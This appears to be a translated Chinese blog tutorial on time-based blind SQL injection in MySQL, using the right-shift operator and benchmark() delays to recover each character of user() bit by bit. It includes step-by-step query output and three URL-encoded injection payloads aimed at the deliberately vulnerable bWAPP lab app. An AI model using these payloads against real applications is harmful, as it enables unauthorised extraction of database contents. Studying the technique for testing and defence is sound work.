在2011年至2012年期间针对MySQL数据库集成的各种PHP应用程序进行了一些渗透测试,发现这些数据库容易受到基于时间的SQL盲注攻击。由于各种阻碍和限制,处理起来有些许棘手,因此,不得不找到一种允许我尽可能少地检索数据的方法。
在最近的CTF比赛Hack the Box(https://www.hackthebox.eu/ )中,再次使用这种方法来处理一些棘手的SQL注入。
这篇博文将演示如何使用'右移'运算符(>>)来枚举从SQL查询返回的二进制形式的值。
右移位运算符是将一个二进制数按指定移动的位数向右移动,如下例所示:
mysql> select ascii(b'01110010');+--------------------+| ascii(b'01110010') |+--------------------+| 114 |+--------------------+1 row in set (0.00 sec)mysql> select ascii(b'01110010') >> 1;+-------------------------+| ascii(b'01110010') >> 1 |+-------------------------+| 57 |+-------------------------+1 row in set (0.00 sec)
这可以用在利用SQL盲注入时枚举字符串的字符。如果数据出现在ASCII表中,则每个字符最多可以枚举8次。
我们希望通过此方法提取的数据是查询返回的第一个字符:select user()
第一位:
首先,我们找到第一位的值:
????????
这有两种可能性:
0(十进制值:0)// TRUE
或者
1(十进制值:1)// FALSE
mysql> select if ((ascii((substr(user(),1,1))) >>7 )=0,benchmark(10000000,sha1('test')), 'false');+--------------------------------------------------------------------------------------+| if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false') |+--------------------------------------------------------------------------------------+| 0 |+--------------------------------------------------------------------------------------+1 row in set (2.35 sec)
SQL查询存在时延,所以条件为TRUE,即第一位为0
0 ???????
第二位:
现在,我们需要找第二位的值。同上,这也有两种可能性:
0 0(十进制值:0)// TRUE
或者
0 1(十进制值:1)// FALSE
mysql> select if ((ascii((substr(user(),1,1))) >>6 )=0,benchmark(10000000,sha1('test')), 'false');+--------------------------------------------------------------------------------------+| if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false') |+--------------------------------------------------------------------------------------+| false |+--------------------------------------------------------------------------------------+1 row in set (0.00 sec)
SQL查询没有时延,所以条件为FALSE,即第二位为1
0 1 ?????
第三位:
接下来是第三位的值,同上,有以下两种情况:
01 0(十进制值:2)// TRUE
或者
01 1(十进制值:3)// FALSE
mysql> select if ((ascii((substr(user(),1,1))) >>5 )=2,benchmark(10000000,sha1('test')), 'false');+--------------------------------------------------------------------------------------+| if ((ascii((substr(user(),1,1))) >> 5 )=2,benchmark(10000000,sha1('test')), 'false') |+--------------------------------------------------------------------------------------+| false |+--------------------------------------------------------------------------------------+1 row in set (0.00 sec)
SQL查询没有时延,所以条件为FALSE,即第三位为1
01 1 ?????
第四位:
然后是第四位的值。同上,有两种可能:
011 0(十进制:6)//TRUE
或者
011 1(十进制:7)// FALSE
mysql> select if ((ascii((substr(user(),1,1))) >>4 )=6,benchmark(10000000,sha1('test')), 'false');+--------------------------------------------------------------------------------------+| if ((ascii((substr(user(),1,1))) >> 4 )=6,benchmark(10000000,sha1('test')), 'false') |+--------------------------------------------------------------------------------------+| false |+--------------------------------------------------------------------------------------+1 row in set (0.00 sec)
SQL查询没有时延,所以条件为FALSE,即第四位为1
011 1 ????
第五位:
然后是第五位的值。同上,有两种可能:
0111 0(十进制:14)//TRUE
或者
0111 1(十进制:15)// FALSE
m
ysql> select if ((ascii((substr(user(),1,1))) >>3 )=14,benchmark(10000000,sha1('test')), 'false');+---------------------------------------------------------------------------------------+| if ((ascii((substr(user(),1,1))) >> 3 )=14,benchmark(10000000,sha1('test')), 'false') |+---------------------------------------------------------------------------------------+| 0 |+---------------------------------------------------------------------------------------+1 row in set (2.46 sec)
SQL查询存在时延,所以条件为TRUE,即第五位为0
0111 0???
第六位:
然后是第六位的值。同上,有两种可能:
01110 0(十进制:28)//TRUE
或者
01110 1(十进制:29)// FALSE
mysql> select if ((ascii((substr(user(),1,1))) >>2 )=28,benchmark(10000000,sha1('test')), 'false');+---------------------------------------------------------------------------------------+| if ((ascii((substr(user(),1,1))) >> 2 )=28,benchmark(10000000,sha1('test')), 'false') |+---------------------------------------------------------------------------------------+| 0 |+---------------------------------------------------------------------------------------+1 row in set (2.44 sec)
SQL查询存在时延,因此条件为TRUE,所以第六位为0
01110 0 ??
第七位:
再然后是第七位的值。同上,有两种可能:
011100 0(十进制:56)//TRUE
或者
011100 1(十进制:57)// FALSE
mysql> select if ((ascii((substr(user(),1,1))) >>1 )=56,benchmark(10000000,sha1('test')), 'false');+---------------------------------------------------------------------------------------+| if ((ascii((substr(user(),1,1))) >> 1 )=56,benchmark(10000000,sha1('test')), 'false') |+---------------------------------------------------------------------------------------+| false |+---------------------------------------------------------------------------------------+1 row in set (0.00 sec)
SQL查询没有时延,所以条件为FALSE,即第七位为1
第四位必须为1
011100 1?
第八位:
最后,我们需要找到第八位的值。同上,有两种可能:
0111001 0(十进制:114)//TRUE
或者
0111001 1(十进制:115)// FALSE
mysql> select if ((ascii((substr(user(),1,1))) >>0 )=114,benchmark(10000000,sha1('test')), 'false');+----------------------------------------------------------------------------------------+| if ((ascii((substr(user(),1,1))) >> 0 )=114,benchmark(10000000,sha1('test')), 'false') |+----------------------------------------------------------------------------------------+| 0 |+----------------------------------------------------------------------------------------+1 row in set (2.33 sec)
SQL查询存在时延,所以条件为TRUE,即第八位为0
0111001 0
现在我们可以得出结论,查询返回的第一个字符的二进制值:select user()是01110010,结果是十进制值为114。114是'r'字符的ASCII码。
mysql> select user();+----------------+| user() |+----------------+| root@localhost |+----------------+1 row in set (0.00 sec)
为了演示这种类型的SQL盲注攻击,我已经讲述了怎样枚举在bWAPP上容易受到攻击的应用程序中由'select user()' 返回的第一个字符的第一个和最后一个二进制位:(https://www.vulnhub.com/entry/bwapp-bee-box-v16,53/)
1.SQLi字符串为第一位返回一个TRUE条件:
test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=0,benchmark(5000000,md5('test')),+'false')%23
2.SQLi字符串为第一位返回一个FALSE条件:
test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=1,benchmark(5000000,md5('test')),+'false')%23
3.SQLi字符串为第8位返回TRUE条件:
test%27+and+if+((ascii((substr(user(),1,1)))+>>+0+)=114,benchmark(5000000,md5('test')),+'false')%23